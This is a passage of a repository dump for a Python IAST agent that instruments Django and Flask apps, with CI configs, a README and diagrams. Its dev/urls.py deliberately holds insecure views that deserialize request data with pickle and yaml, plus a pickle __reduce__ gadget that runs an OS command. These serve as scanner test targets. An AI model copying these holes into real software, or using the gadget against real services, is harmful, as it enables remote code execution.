├── .bandit
├── .dockerignore
├── .github
└── workflows
│ ├── bandit.yml
│ ├── generate_diagrams.yml
│ ├── publish.yaml
│ └── pylint.yml
├── .gitignore
├── Dockerfile
├── Makefile
├── Readme.md
├── VERSION
├── Vagrantfile
├── deploy.ps1
├── dev
├── __init__.py
├── asgi.py
├── settings.py
├── urls.py
└── wsgi.py
├── diagrams
├── Client_upload_config_flowchart.svg
├── Client_upload_config_flowchart.txt
├── Client_upload_context_flowchart.svg
├── Client_upload_context_flowchart.txt
├── Client_upload_dependencies_flowchart.svg
├── Client_upload_dependencies_flowchart.txt
├── Dockerfile.png
├── ImmunityDjangoMiddleware___call___flowchart.svg
├── ImmunityDjangoMiddleware___call___flowchart.txt
├── classes.dot
├── classes.png
├── packages.dot
└── packages.png
├── generate_flowcharts.py
├── immunity_agent
├── __init__.py
├── __main__.py
├── api
│ ├── __init__.py
│ └── client.py
├── config.json
├── config.py
├── control_flow
│ ├── __init__.py
│ └── control_flow.py
├── logger.py
├── middlewares
│ ├── __init__.py
│ ├── django_middleware.py
│ └── flask_middleware.py
├── request
│ ├── __init__.py
│ └── django_request.py
└── response
│ ├── __init__.py
│ └── django_response.py
├── manage.py
├── polysploit
├── django
│ ├── conf
│ │ ├── __init__.py
│ │ ├── asgi.py
│ │ ├── settings.py
│ │ ├── urls.py
│ │ └── wsgi.py
│ ├── example
│ │ ├── __init__.py
│ │ ├── admin.py
│ │ ├── apps.py
│ │ ├── migrations
│ │ │ ├── 0001_initial.py
│ │ │ ├── 0002_userprofile.py
│ │ │ └── __init__.py
│ │ ├── models.py
│ │ ├── tests.py
│ │ └── views.py
│ ├── hacked.txt
│ ├── hacked1.txt
│ └── manage.py
├── django_exploit.py
├── flask
│ ├── app.py
│ ├── hacked.txt
│ └── hacked1.txt
└── flask_exploit.py
├── pyproject.toml
├── setup.py
└── test_flask.py
/.bandit:
--------------------------------------------------------------------------------
1 | [bandit]
2 | exclude = test_flask.py,dev/settings.py
--------------------------------------------------------------------------------
/.dockerignore:
--------------------------------------------------------------------------------
1 | .idea
2 | *.iml
3 | out
4 | gen
5 | manage.py
6 | dev
7 | Dockerfile
8 | deploy.ps1
9 | venv
10 | .gitignore
11 |
--------------------------------------------------------------------------------
/.github/workflows/bandit.yml:
--------------------------------------------------------------------------------
1 | name: Bandit SAST
2 |
3 | on:
4 | push:
5 | branches:
6 | - 'master'
7 |
8 | jobs:
9 | build:
10 | runs-on: ubuntu-latest
11 | steps:
12 | - uses: actions/checkout@v4
13 | - name: Set up Python ${{ matrix.python-version }}
14 | uses: actions/setup-python@v3
15 | with:
16 | python-version: ${{ matrix.python-version }}
17 | - name: Install dependencies
18 | run: |
19 | python -m pip install --upgrade pip
20 | pip install bandit
21 | - name: Analysing the code with bandit
22 | run: |
23 | cd immunity_agent && bandit -r .
24 |
--------------------------------------------------------------------------------
/.github/workflows/generate_diagrams.yml:
--------------------------------------------------------------------------------
1 | name: Generate Images Pipeline
2 |
3 | on:
4 | push:
5 | branches:
6 | - 'master'
7 |
8 | jobs:
9 | generate-images:
10 | runs-on: ubuntu-latest
11 |
12 | steps:
13 | - name: Checkout repository
14 | uses: actions/checkout@v3
15 |
16 | - name: Set up Python
17 | uses: actions/setup-python@v4
18 | with:
19 | python-version: '3.x'
20 |
21 | - name: Setup Node.js
22 | uses: actions/setup-node@v3
23 | with:
24 | node-version: '18.x'
25 |
26 | - name: Install XVFB
27 | run: sudo apt-get update && sudo apt-get install -y xvfb
28 |
29 | - name: Start XVFB
30 | run: |
31 | Xvfb :99 -screen 0 1024x768x24 &
32 | export DISPLAY=:99
33 | export XVFB_PID=$!
34 |
35 | - name: Install diagrams package
36 | run: npm install -g diagrams
37 |
38 | - name: Install dependencies
39 | run: |
40 | sudo apt update
41 | sudo apt install -y graphviz
42 | pip install pylint pyflowchart graphviz
43 |
44 | - name: Cleanup old schemes
45 | run: |
46 | rm -rf diagrams/*
47 |
48 | - name: Run Python scripts
49 | run: |
50 | pyreverse --output-directory diagrams/ -f ALL immunity_agent/
51 | find diagrams/ -name '*.dot' -exec sed -i 's/green/black/g' {} +
52 | dot -Tpng diagrams/classes.dot -o diagrams/classes.png
53 | dot -Tpng diagrams/packages.dot -o diagrams/packages.png
54 |
55 | - name: Generate flowcharts as txt
56 | run: |
57 | python3 generate_flowcharts.py
58 |
59 | - name: Flowcharts to png
60 | run: |
61 | for file in diagrams/*.txt; do DISPLAY=:99 diagrams flowchart "$file" "${file%.txt}.svg"; done
62 |
63 | - name: Generate Dockerfile diagram
64 | run: |
65 | sudo docker run --rm --user "$(id -u):$(id -g)" --workdir /workspace --volume "$(pwd)":/workspace ghcr.io/patrickhoefler/dockerfilegraph:alpine -o png -f Dockerfile --layers --legend
66 | mv Dockerfile.png diagrams/.
67 |
68 | - name: Stage new files
69 | run: git add .
70 |
71 | - name: Commit changes
72 | run: |
73 | git config user.name ${{ secrets.GIT_NAME }}
74 | git config user.email ${{ secrets.GIT_EMAIL }}
75 | git commit -m "auto: generated schemes" || echo "No changes to commit"
76 |
77 | - name: Push changes
78 | uses: ad-m/github-push-action@master
79 | with:
80 | github_token: ${{ secrets.GITHUB_TOKEN }}
81 |
--------------------------------------------------------------------------------
/.github/workflows/publish.yaml:
--------------------------------------------------------------------------------
1 | name: Сборка Python-агента
2 | on:
3 | push:
4 | tags:
5 | - '[0-9]+\.[0-9]+\.[0-9]+'
6 | jobs:
7 | build-test:
8 | name: Build Immunity Python agent
9 | runs-on: ubuntu-latest
10 | steps:
11 | - uses: actions/checkout@v3
12 | - uses: actions/setup-python@v5
13 | - name: Выставляем версию пакета
14 | run: |
15 | VERSION=$(cat VERSION) \
16 | && sed -i "s/0.0.0/$VERSION/" setup.py \
17 | && sed -i "s/0.0.0/$VERSION/" pyproject.toml
18 | - name: Собираем библиотеку
19 | run: |
20 | python3 -m pip install --upgrade build
21 | python3 -m build
22 | - name: Публикуем библиотеку
23 | env:
24 | TWINE_USERNAME: ${{ secrets.USR }}
25 | TWINE_PASSWORD: ${{ secrets.PWD }}
26 | run: |
27 | pip install --user --upgrade twine
28 | python3 -m twine upload dist/*
29 |
--------------------------------------------------------------------------------
/.github/workflows/pylint.yml:
--------------------------------------------------------------------------------
1 | name: Pylint
2 |
3 | on:
4 | pull_request:
5 | branches:
6 | - 'master'
7 |
8 | jobs:
9 | build:
10 | runs-on: ubuntu-latest
11 | steps:
12 | - uses: actions/checkout@v4
13 | - name: Set up Python ${{ matrix.python-version }}
14 | uses: actions/setup-python@v3
15 | with:
16 | python-version: ${{ matrix.python-version }}
17 | - name: Install dependencies
18 | run: |
19 | python -m pip install --upgrade pip
20 | pip install pylint pylint-django[with-django]
21 | - name: Analysing the code with pylint
22 | run: |
23 | cd immunity_agent && pylint .
24 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # ---> Python
2 | # Byte-compiled / optimized / DLL files
3 | __pycache__/
4 | *.py[cod]
5 | *$py.class
6 |
7 | # C extensions
8 | *.so
9 |
10 | # Distribution / packaging
11 | .Python
12 | build/
13 | develop-eggs/
14 | dist/
15 | downloads/
16 | eggs/
17 | .eggs/
18 | lib/
19 | lib64/
20 | parts/
21 | sdist/
22 | var/
23 | wheels/
24 | share/python-wheels/
25 | *.egg-info/
26 | .installed.cfg
27 | *.egg
28 | MANIFEST
29 |
30 | # PyInstaller
31 | # Usually these files are written by a python script from a template
32 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
33 | *.manifest
34 | *.spec
35 |
36 | # Installer logs
37 | pip-log.txt
38 | pip-delete-this-directory.txt
39 |
40 | # Unit test / coverage reports
41 | htmlcov/
42 | .tox/
43 | .nox/
44 | .coverage
45 | .coverage.*
46 | .cache
47 | nosetests.xml
48 | coverage.xml
49 | *.cover
50 | *.py,cover
51 | .hypothesis/
52 | .pytest_cache/
53 | cover/
54 |
55 | # Translations
56 | *.mo
57 | *.pot
58 |
59 | # Django stuff:
60 | *.log
61 | local_settings.py
62 | db.sqlite3
63 | db.sqlite3-journal
64 |
65 | # Flask stuff:
66 | instance/
67 | .webassets-cache
68 |
69 | # Scrapy stuff:
70 | .scrapy
71 |
72 | # Sphinx documentation
73 | docs/_build/
74 |
75 | # PyBuilder
76 | .pybuilder/
77 | target/
78 |
79 | # Jupyter Notebook
80 | .ipynb_checkpoints
81 |
82 | # IPython
83 | profile_default/
84 | ipython_config.py
85 |
86 | # pyenv
87 | # For a library or package, you might want to ignore these files since the code is
88 | # intended to run in multiple environments; otherwise, check them in:
89 | # .python-version
90 |
91 | # pipenv
92 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
93 | # However, in case of collaboration, if having platform-specific dependencies or dependencies
94 | # having no cross-platform support, pipenv may install dependencies that don't work, or not
95 | # install all needed dependencies.
96 | #Pipfile.lock
97 |
98 | # poetry
99 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
100 | # This is especially recommended for binary packages to ensure reproducibility, and is more
101 | # commonly ignored for libraries.
102 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
103 | #poetry.lock
104 |
105 | # pdm
106 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.
107 | #pdm.lock
108 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it
109 | # in version control.
110 | # https://pdm.fming.dev/#use-with-ide
111 | .pdm.toml
112 |
113 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm
114 | __pypackages__/
115 |
116 | # Celery stuff
117 | celerybeat-schedule
118 | celerybeat.pid
119 |
120 | # SageMath parsed files
121 | *.sage.py
122 |
123 | # Environments
124 | .env
125 | .venv
126 | env/
127 | venv/
128 | ENV/
129 | env.bak/
130 | venv.bak/
131 |
132 | # Spyder project settings
133 | .spyderproject
134 | .spyproject
135 |
136 | # Rope project settings
137 | .ropeproject
138 |
139 | # mkdocs documentation
140 | /site
141 |
142 | # mypy
143 | .mypy_cache/
144 | .dmypy.json
145 | dmypy.json
146 |
147 | # Pyre type checker
148 | .pyre/
149 |
150 | # pytype static type analyzer
151 | .pytype/
152 |
153 | # Cython debug symbols
154 | cython_debug/
155 |
156 | # PyCharm
157 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can
158 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
159 | # and can be added to the global gitignore or merged into this file. For a more nuclear
160 | # option (not recommended) you can uncomment the following to ignore the entire idea folder.
161 | .idea/
162 |
163 | .vagrant/
164 |
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.12
2 |
3 | WORKDIR /build
4 |
5 | COPY . /build
6 |
7 | RUN VERSION=$(cat VERSION) \
8 | && sed -i "s/0.0.0/$VERSION/" setup.py \
9 | && sed -i "s/0.0.0/$VERSION/" pyproject.toml
10 |
11 | RUN python3 -m pip install --upgrade build
12 |
13 | RUN python3 -m build --sdist --wheel
14 |
15 | RUN pip install dist/*.tar.gz
16 |
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | all: django
2 |
3 | config:
4 | python3 -m immunity_agent -h
5 |
6 | django:
7 | python3 manage.py runserver
8 |
9 | flask:
10 | python3 test_flask.py
11 |
12 | .PHONY: django flask
--------------------------------------------------------------------------------
/Readme.md:
--------------------------------------------------------------------------------
1 | # Python agent
2 |
3 | IAST-агент, встраиваемый в сканируемые приложения на Python. Инструментирование реализуется путём внедрения middleware для перехвата обработки запросов.
4 |
5 | Поддерживаемые фреймворки:
6 | - `Django`
7 | - `Flask`
8 |
9 | ## Установка
10 |
11 | Выполните команду в терминале:
12 |
13 | ```bash
14 | pip install immunity-iast
15 | ```
16 |
17 | ## Обновление
18 |
19 | Выполните команду в терминале:
20 |
21 | ```bash
22 | pip install immunity-iast --upgrade
23 | ```
24 |
25 | ## Конфигурирование
26 |
27 | Выполните команду в терминале:
28 |
29 | ```bash
30 | python3 -m immunity_agent 127.0.0.1 80 test
31 | ```
32 |
33 | В качестве аргументов передаём хост и порт серверной части и имя проекта, ранее созданного на сервере.
34 |
35 | ## Интеграция в Django
36 |
37 | Измените `settings.py`:
38 |
39 | ```python
40 | INSTALLED_APPS = [
41 | # ...
42 | 'immunity_agent'
43 | ]
44 |
45 | MIDDLEWARE = [
46 | # ...
47 | 'immunity_agent.middlewares.django_middleware.ImmunityDjangoMiddleware'
48 | ]
49 | ```
50 |
51 | После перезапуска агент будет активирован автоматически.
52 |
53 | ## Интеграция в Flask
54 |
55 | Укажите в `app.py`:
56 |
57 | ```python
58 | app = flask.Flask(__name__)
59 | app.wsgi_app = ImmunityFlaskMiddleware(app.wsgi_app, app.root_path)
60 |
61 | # ...
62 | ```
63 |
64 | После перезапуска агент будет активирован автоматически.
65 |
--------------------------------------------------------------------------------
/VERSION:
--------------------------------------------------------------------------------
1 | 0.3.1
--------------------------------------------------------------------------------
/Vagrantfile:
--------------------------------------------------------------------------------
1 | # -*- mode: ruby -*-
2 | # vi: set ft=ruby :
3 |
4 | Vagrant.configure("2") do |config|
5 |
6 | config.vm.define "agent_test_vm" do |agent|
7 | agent.vm.box = "ubuntu/focal64"
8 | agent.vm.hostname = "agent"
9 | config.vm.network "private_network", ip: "192.168.33.10"
10 | agent.vm.network "forwarded_port", guest: 8000, host: 8000
11 | agent.vm.network "forwarded_port", guest: 5000, host: 5000
12 |
13 | config.vm.provider "virtualbox" do |vb|
14 | vb.memory = "2048"
15 | vb.cpus = "2"
16 | end
17 |
18 | config.vm.provision "shell", inline: <<-SHELL
19 | apt-get update
20 | apt-get install -y python3-pip
21 | pip install Django Flask
22 | SHELL
23 |
24 | end
25 |
26 | end
--------------------------------------------------------------------------------
/deploy.ps1:
--------------------------------------------------------------------------------
1 | $branch = $(git branch --show-current)
2 |
3 | git fetch origin --tags
4 | git pull origin
5 |
6 | $major = 0
7 | $minor = 1
8 | $(git describe --tags $(git rev-list --tags --max-count=1)) -match "[0-9]+\.[0-9]+\.([0-9]+)"
9 | $patch = [int]$Matches[1] + 1
10 | $version = "$($major).$($minor).$($patch)"
11 |
12 | Write-Host 'The new version is: ' $version
13 | $Utf8NoBomEncoding = New-Object System.Text.UTF8Encoding $False
14 | [System.IO.File]::WriteAllLines("VERSION", $version, $Utf8NoBomEncoding)
15 |
16 | git add .
17 | git commit -m "publish version $version"
18 | git tag -a $version -m $version
19 | git push -u origin $branch --follow-tags
20 |
--------------------------------------------------------------------------------
/dev/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/light-hat/immunity-python-agent/1a582d30616cc0a17897ad5ab220c2575352f985/dev/__init__.py
--------------------------------------------------------------------------------
/dev/asgi.py:
--------------------------------------------------------------------------------
1 | """
2 | ASGI config for dev project.
3 |
4 | It exposes the ASGI callable as a module-level variable named ``application``.
5 |
6 | For more information on this file, see
7 | https://docs.djangoproject.com/en/3.2/howto/deployment/asgi/
8 | """
9 |
10 | import os
11 |
12 | from django.core.asgi import get_asgi_application
13 |
14 | os.environ.setdefault("DJANGO_SETTINGS_MODULE", "dev.settings")
15 |
16 | application = get_asgi_application()
17 |
--------------------------------------------------------------------------------
/dev/settings.py:
--------------------------------------------------------------------------------
1 | """
2 | Django settings for dev project.
3 |
4 | Generated by 'django-admin startproject' using Django 3.2.3.
5 |
6 | For more information on this file, see
7 | https://docs.djangoproject.com/en/3.2/topics/settings/
8 |
9 | For the full list of settings and their values, see
10 | https://docs.djangoproject.com/en/3.2/ref/settings/
11 | """
12 |
13 | import os
14 | import sys
15 | from pathlib import Path
16 | from django.core.management.utils import get_random_secret_key
17 |
18 | parent_dir = os.path.abspath(os.path.join(os.path.dirname(__file__), ".."))
19 |
20 | if parent_dir not in sys.path:
21 | sys.path.append(parent_dir)
22 |
23 | from immunity_agent.middlewares.django_middleware import ImmunityDjangoMiddleware
24 |
25 | # Build paths inside the project like this: BASE_DIR / 'subdir'.
26 | BASE_DIR = Path(__file__).resolve().parent.parent
27 |
28 |
29 | # Quick-start development settings - unsuitable for production
30 | # See https://docs.djangoproject.com/en/3.2/howto/deployment/checklist/
31 |
32 | # SECURITY WARNING: keep the secret key used in production secret!
33 | SECRET_KEY = get_random_secret_key()
34 |
35 | # SECURITY WARNING: don't run with debug turned on in production!
36 | DEBUG = True
37 |
38 | ALLOWED_HOSTS = []
39 |
40 |
41 | # Application definition
42 |
43 | INSTALLED_APPS = [
44 | "django.contrib.admin",
45 | "django.contrib.auth",
46 | "django.contrib.contenttypes",
47 | "django.contrib.sessions",
48 | "django.contrib.messages",
49 | "django.contrib.staticfiles",
50 | ]
51 |
52 | MIDDLEWARE = [
53 | "django.middleware.security.SecurityMiddleware",
54 | "django.contrib.sessions.middleware.SessionMiddleware",
55 | "django.middleware.common.CommonMiddleware",
56 | "django.middleware.csrf.CsrfViewMiddleware",
57 | "django.contrib.auth.middleware.AuthenticationMiddleware",
58 | "django.contrib.messages.middleware.MessageMiddleware",
59 | "django.middleware.clickjacking.XFrameOptionsMiddleware",
60 | "immunity_agent.middlewares.django_middleware.ImmunityDjangoMiddleware",
61 | ]
62 |
63 | ROOT_URLCONF = "dev.urls"
64 |
65 | TEMPLATES = [
66 | {
67 | "BACKEND": "django.template.backends.django.DjangoTemplates",
68 | "DIRS": [],
69 | "APP_DIRS": True,
70 | "OPTIONS": {
71 | "context_processors": [
72 | "django.template.context_processors.debug",
73 | "django.template.context_processors.request",
74 | "django.contrib.auth.context_processors.auth",
75 | "django.contrib.messages.context_processors.messages",
76 | ],
77 | },
78 | },
79 | ]
80 |
81 | WSGI_APPLICATION = "dev.wsgi.application"
82 |
83 |
84 | # Database
85 | # https://docs.djangoproject.com/en/3.2/ref/settings/#databases
86 |
87 | DATABASES = {
88 | "default": {
89 | "ENGINE": "django.db.backends.sqlite3",
90 | "NAME": BASE_DIR / "db.sqlite3",
91 | }
92 | }
93 |
94 |
95 | # Password validation
96 | # https://docs.djangoproject.com/en/3.2/ref/settings/#auth-password-validators
97 |
98 | AUTH_PASSWORD_VALIDATORS = [
99 | {
100 | "NAME": "django.contrib.auth.password_validation.UserAttributeSimilarityValidator",
101 | },
102 | {
103 | "NAME": "django.contrib.auth.password_validation.MinimumLengthValidator",
104 | },
105 | {
106 | "NAME": "django.contrib.auth.password_validation.CommonPasswordValidator",
107 | },
108 | {
109 | "NAME": "django.contrib.auth.password_validation.NumericPasswordValidator",
110 | },
111 | ]
112 |
113 |
114 | # Internationalization
115 | # https://docs.djangoproject.com/en/3.2/topics/i18n/
116 |
117 | LANGUAGE_CODE = "en-us"
118 |
119 | TIME_ZONE = "UTC"
120 |
121 | USE_I18N = True
122 |
123 | USE_L10N = True
124 |
125 | USE_TZ = True
126 |
127 |
128 | # Static files (CSS, JavaScript, Images)
129 | # https://docs.djangoproject.com/en/3.2/howto/static-files/
130 |
131 | STATIC_URL = "/static/"
132 |
133 | # Default primary key field type
134 | # https://docs.djangoproject.com/en/3.2/ref/settings/#default-auto-field
135 |
136 | DEFAULT_AUTO_FIELD = "django.db.models.BigAutoField"
137 |
--------------------------------------------------------------------------------
/dev/urls.py:
--------------------------------------------------------------------------------
1 | """dev URL Configuration
2 |
3 | The `urlpatterns` list routes URLs to views. For more information please see:
4 | https://docs.djangoproject.com/en/3.2/topics/http/urls/
5 | Examples:
6 | Function views
7 | 1. Add an import: from my_app import views
8 | 2. Add a URL to urlpatterns: path('', views.home, name='home')
9 | Class-based views
10 | 1. Add an import: from other_app.views import Home
11 | 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
12 | Including another URLconf
13 | 1. Import the include() function: from django.urls import include, path
14 | 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
15 | """
16 |
17 | from django.contrib import admin
18 | from django.http import HttpResponse
19 | from django.urls import path
20 | import pickle
21 | import yaml
22 |
23 |
24 | def call_me(request):
25 | a = 1
26 | b = request.GET.get("a")
27 | c = "CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT)"
28 | e = "INSERT INTO users (name) VALUES ('John')"
29 | q = a + b
30 | print(e)
31 |
32 | return HttpResponse("Hello World")
33 |
34 | def vulnerable_view_1(request):
35 | if request.method == 'POST':
36 | data = request.POST.get('data')
37 | # Десериализуем данные с помощью pickle
38 | deserialized_data = pickle.loads(data)
39 | return HttpResponse(f'Deserialized data: {deserialized_data}')
40 | else:
41 | return HttpResponse("Method not allowed")
42 |
43 | def vulnerable_view_2(request):
44 | if request.method == 'POST':
45 | data = request.POST.get('data')
46 | # Десериализуем данные с помощью yaml
47 | deserialized_data = yaml.load(data, Loader=yaml.FullLoader)
48 | return HttpResponse(f'Deserialized data: {deserialized_data}')
49 | else:
50 | return HttpResponse("Method not allowed")
51 |
52 | class VulnerableObject:
53 | def __reduce__(self):
54 | return (eval, ("__import__('os').system('ls')",))
55 |
56 | def vulnerable_view_3(request):
57 | if request.method == 'POST':
58 | data = request.POST.get('data')
59 | try:
60 | deserialized_data = pickle.loads(data.encode())
61 | return HttpResponse(f'Deserialized object: {deserialized_data}')
62 | except Exception as e:
63 | return HttpResponse(f'Error: {e}')
64 | else:
65 | return HttpResponse("Method not allowed")
66 |
67 |
68 | urlpatterns = [
69 | path("admin/", admin.site.urls),
70 | path("call_me/", call_me),
71 | path("/deserialize/4/", vulnerable_view_1),
72 | path("/deserialize/5/", vulnerable_view_2),
73 | path("/deserialize/6/", vulnerable_view_3),
74 | ]
75 |
--------------------------------------------------------------------------------
/dev/wsgi.py:
--------------------------------------------------------------------------------
1 | """
2 | WSGI config for dev project.
3 |
4 | It exposes the WSGI callable as a module-level variable named ``application``.
5 |
6 | For more information on this file, see
7 | https://docs.djangoproject.com/en/3.2/howto/deployment/wsgi/
8 | """
9 |
10 | import os
11 |
12 | from django.core.wsgi import get_wsgi_application
13 |
14 | os.environ.setdefault("DJANGO_SETTINGS_MODULE", "dev.settings")
15 |
16 | application = get_wsgi_application()
17 |
--------------------------------------------------------------------------------
/diagrams/Client_upload_config_flowchart.svg:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/diagrams/Client_upload_config_flowchart.txt:
--------------------------------------------------------------------------------
1 | op34=>operation: response = requests.post(url, headers=headers, json={'project': project, 'payload': base64.b64encode(config_json.encode('utf-8')).decode('utf-8'), 'framework': framework}, timeout=15)
2 | cond37=>condition: if (response.status_code == 200)
3 | sub41=>subroutine: logger.info(f'Данные о настройках успешно отправлены.')
4 | sub45=>subroutine: logger.error(f'Сбой отправки данных о настройкахКод ответа: {response.status_code}; Содержимое ответа: {response.text}')
5 |
6 | op34->cond37
7 | cond37(yes)->sub41
8 | cond37(no)->sub45
9 |
--------------------------------------------------------------------------------
/diagrams/Client_upload_context_flowchart.svg:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/diagrams/Client_upload_context_flowchart.txt:
--------------------------------------------------------------------------------
1 | op2=>operation: response = requests.post(url, headers=headers, json={'project': project, 'request': base64.b64encode(request.encode('utf-8')).decode('utf-8'), 'control_flow': base64.b64encode(control_flow.encode('utf-8')).decode('utf-8'), 'response': base64.b64encode(response.encode('utf-8')).decode('utf-8')}, timeout=15)
2 | cond5=>condition: if (response.status_code == 200)
3 | sub9=>subroutine: logger.info(f'Данные о запросе {endpoint} отправлены на обработку.')
4 | sub13=>subroutine: logger.error(f'Сбой отправки данных о запросе {endpoint}. Код ответа: {response.status_code}; Содержимое ответа: {response.text}')
5 |
6 | op2->cond5
7 | cond5(yes)->sub9
8 | cond5(no)->sub13
9 |
--------------------------------------------------------------------------------
/diagrams/Client_upload_dependencies_flowchart.svg:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/diagrams/Client_upload_dependencies_flowchart.txt:
--------------------------------------------------------------------------------
1 | op18=>operation: response = requests.post(url, headers=headers, json={'project': project, 'payload': base64.b64encode(dependencies_json.encode('utf-8')).decode('utf-8')}, timeout=15)
2 | cond21=>condition: if (response.status_code == 200)
3 | sub25=>subroutine: logger.info(f'Данные о настройках успешно отправлены.')
4 | sub29=>subroutine: logger.error(f'Сбой отправки данных о настройкахКод ответа: {response.status_code}; Содержимое ответа: {response.text}')
5 |
6 | op18->cond21
7 | cond21(yes)->sub25
8 | cond21(no)->sub29
9 |
--------------------------------------------------------------------------------
/diagrams/Dockerfile.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/light-hat/immunity-python-agent/1a582d30616cc0a17897ad5ab220c2575352f985/diagrams/Dockerfile.png
--------------------------------------------------------------------------------
/diagrams/ImmunityDjangoMiddleware___call___flowchart.svg:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/diagrams/ImmunityDjangoMiddleware___call___flowchart.txt:
--------------------------------------------------------------------------------
1 | op50=>operation: self.control_flow = ControlFlowBuilder(project_root=str(settings.BASE_DIR))
2 | sub52=>subroutine: sys.settrace(self.control_flow.trace_calls)
3 | op54=>operation: response = self.get_response(request)
4 | sub56=>subroutine: sys.settrace(None)
5 | sub58=>subroutine: self.api_client.upload_context(request.path, self.project, DjangoRequest.serialize(request), self.control_flow.serialize(), DjangoResponse.serialize(response))
6 |
7 | op50->sub52
8 | sub52->op54
9 | op54->sub56
10 | sub56->sub58
11 |
--------------------------------------------------------------------------------
/diagrams/classes.dot:
--------------------------------------------------------------------------------
1 | digraph "classes" {
2 | rankdir=BT
3 | charset="utf-8"
4 | "immunity_agent.logger.AgentLogger" [color="black", fontcolor="black", label=<{AgentLogger|_log : Logger
|__init__(log: logging.Logger): None
critical(msg: str): None
debug(msg: str): None
error(msg: str): None
exception(msg: str): None
info(msg: str): None
log(level: int, msg: str): None
warn(msg: str): None
warning(msg: str): None
}>, shape="record", style="solid"];
5 | "immunity_agent.api.client.Client" [color="black", fontcolor="black", label=<{Client|config
host
port
project
|__init__()
upload_config(config_json: str, project: str, framework: str): requests.Response
upload_context(endpoint: str, project: str, request: str, control_flow: str, response: str): requests.Response
upload_dependencies(dependencies_json: str, project: str): requests.Response
}>, shape="record", style="solid"];
6 | "immunity_agent.config.Config" [color="black", fontcolor="black", label=<{Config|data : Dict[str, Any]
filename
|__init__()
get(key: str, default: Optional[Any]): Any
load(): Dict[str, Any]
save(): None
set(key: str, value: Any): None
}>, shape="record", style="solid"];
7 | "immunity_agent.control_flow.control_flow.ControlFlowBuilder" [color="black", fontcolor="black", label=<{ControlFlowBuilder|control_flow : list
external_call_detected : bool
project_root : str
|__init__(project_root: str)
serialize(indentation: int): str
serialize_error(error_tuple: tuple): dict
serialize_locals(local_dict: dict): list
trace_calls(frame, event: str, arg): Callable[[FrameType, str, Any], Optional[Callable]]
}>, shape="record", style="solid"];
8 | "immunity_agent.request.django_request.DjangoRequest" [color="black", fontcolor="black", label=<{DjangoRequest|
|serialize(request: object, indentation: int): str
serialize_request_item(request_components_dict: Dict[str, Union[str, Any]]): Dict[str, str]
}>, shape="record", style="solid"];
9 | "immunity_agent.response.django_response.DjangoResponse" [color="black", fontcolor="black", label=<{DjangoResponse|
|serialize(response: HttpResponse, indentation: int): str
serialize_response_item(response_components_dict: Dict[str, Union[str, Any]]): Dict[str, str]
}>, shape="record", style="solid"];
10 | "immunity_agent.middlewares.django_middleware.ImmunityDjangoMiddleware" [color="black", fontcolor="black", label=<{ImmunityDjangoMiddleware|api_client
control_flow : NoneType
get_response
project
|__call__(request: Any): Any
__init__(get_response: callable)
_extract_settings()
}>, shape="record", style="solid"];
11 | "immunity_agent.middlewares.flask_middleware.ImmunityFlaskMiddleware" [color="black", fontcolor="black", label=<{ImmunityFlaskMiddleware|api_client
app : object
base_path
control_flow : NoneType
headers : List[Tuple[str, str]], NoneType
project
status : NoneType, str
|__call__(environ: Dict[str, str], start_response: callable): bytes
__init__(app: object, app_object: object)
_capture_request(environ: Dict[str, str]): Dict[str, any]
_capture_response(status: str, headers: List[Tuple[str, str]], body: bytes): Dict[str, any]
_extract_headers(environ: Dict[str, str]): Dict[str, str]
_reset_stream(body: bytes): BytesIO
}>, shape="record", style="solid"];
12 | "immunity_agent.api.client.Client" -> "immunity_agent.middlewares.django_middleware.ImmunityDjangoMiddleware" [arrowhead="diamond", arrowtail="none", fontcolor="black", label="api_client", style="solid"];
13 | "immunity_agent.api.client.Client" -> "immunity_agent.middlewares.flask_middleware.ImmunityFlaskMiddleware" [arrowhead="diamond", arrowtail="none", fontcolor="black", label="api_client", style="solid"];
14 | "immunity_agent.config.Config" -> "immunity_agent.api.client.Client" [arrowhead="diamond", arrowtail="none", fontcolor="black", label="config", style="solid"];
15 | "immunity_agent.control_flow.control_flow.ControlFlowBuilder" -> "immunity_agent.middlewares.django_middleware.ImmunityDjangoMiddleware" [arrowhead="diamond", arrowtail="none", fontcolor="black", label="control_flow", style="solid"];
16 | "immunity_agent.control_flow.control_flow.ControlFlowBuilder" -> "immunity_agent.middlewares.flask_middleware.ImmunityFlaskMiddleware" [arrowhead="diamond", arrowtail="none", fontcolor="black", label="control_flow", style="solid"];
17 | }
18 |
--------------------------------------------------------------------------------
/diagrams/classes.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/light-hat/immunity-python-agent/1a582d30616cc0a17897ad5ab220c2575352f985/diagrams/classes.png
--------------------------------------------------------------------------------
/diagrams/packages.dot:
--------------------------------------------------------------------------------
1 | digraph "packages" {
2 | rankdir=BT
3 | charset="utf-8"
4 | "immunity_agent" [color="black", label=, shape="box", style="solid"];
5 | "immunity_agent.__main__" [color="black", label=, shape="box", style="solid"];
6 | "immunity_agent.api" [color="black", label=, shape="box", style="solid"];
7 | "immunity_agent.api.client" [color="black", label=, shape="box", style="solid"];
8 | "immunity_agent.config" [color="black", label=, shape="box", style="solid"];
9 | "immunity_agent.control_flow" [color="black", label=, shape="box", style="solid"];
